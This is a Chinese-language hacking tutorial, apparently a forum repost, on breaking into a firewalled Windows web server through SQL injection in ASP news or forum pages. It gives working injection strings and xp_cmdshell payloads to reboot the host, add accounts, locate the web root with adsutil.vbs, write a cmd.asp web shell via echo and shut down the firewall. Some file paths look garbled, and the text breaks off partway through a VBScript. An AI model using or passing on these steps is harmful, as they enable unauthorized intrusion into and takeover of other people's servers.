ASP漏洞+SQL注入的入侵方法
ASP漏洞+SQL注入的入侵方法
本文就是想对装上了防火墙的主机,进行入侵攻击的大概思路小结一下。
首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息。再用nmap -sS IP -P0 -p 139 ,透过防火墙查看是否开有139端口。从上面得到的信息我们可以简单的判断到:主机A的系统是什么,装有防火墙的话,一般是只允许80端口开放的。如果能够泄漏asp源文件,当然是最好不过的了,但是一般难得遇到。如果主机A有show files之类的CGI漏洞,我们就可以试着看能不能从conn.inc等可能存放密码的文件得到有用的信息。
然后就要进入重点了,寻找突破口。由于主机A装有防火墙,所以就算其有其他的溢出漏洞都将会导致我们的不到shell(U漏洞就不讲了)。在这种情况下,一般容易找到突破口的地方就是主机A上的新闻发布系统、论坛、聊天室。在这三个地方里最容易出毛病的地方,不少人都认为是论坛,但是我在网上看到的大部分相关文章中发现漏洞的地方都是新闻发布系统。
好了,让我们先来试试看在新闻发布
系统的*.asp后面加上单引号',再提交。返回:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 26 行
或者是页面正常,但不能够显示新闻
列表,这样看来就有一半的机会了。再让我们将单引号改为分号;,提交后如果能够正常返回页面,说明这个asp没有过滤分号。只要满足这两个条件,我们就可以有戏看了。为了跟进一步的确定主机A到底是否有sql注入毛病,我们可以使用下面两种方法简单测试一下:xp_cmdshell 'iisreset /reboot'或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行。
现在我们将要想个办法获得shell了。利用xp_cmdshell我们可以直接添加系统账户,如果主机A没有防火墙的话,再用IPC种植者之类的工具就可以得到shell了,但是主机A是装有防火墙的,所以我们首先考虑得到web shell ,就算权限低一点都没有关系。
思路:
1)找到web目录的路径
2)用echo(也可利用
sql表单)写入一个简单的cmd.asp,用来找到防火墙的具体名字等操作。
3)通过xp_cmdshell来关闭防火墙服务
要找到web目录的路径,在我看来有三种方法:一是,猜!什么c:c:c:之类的。二是,主机A上可能有其他ASP文件在提交非正常变量后会暴露其绝对路径,还可以试试1'or'1那个著名漏洞 。三是czy
82的方法(以下是转贴的):
********************************************************************
使用adsutil.vbs
程序我是这样执行的
a';exec master..xp_cmdshell 'cmd /c cscript c:.vbs enum w3svc/1/root>a.txt';--
是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中。
对于a.txt的实际位置默认当然是c:,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)。
第二步:用echo命令写下面的代码到c:中很多吗也不算吧:)
.....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:.vbs';--
.....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:.vbs';--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
spa=WshShell.Environment("process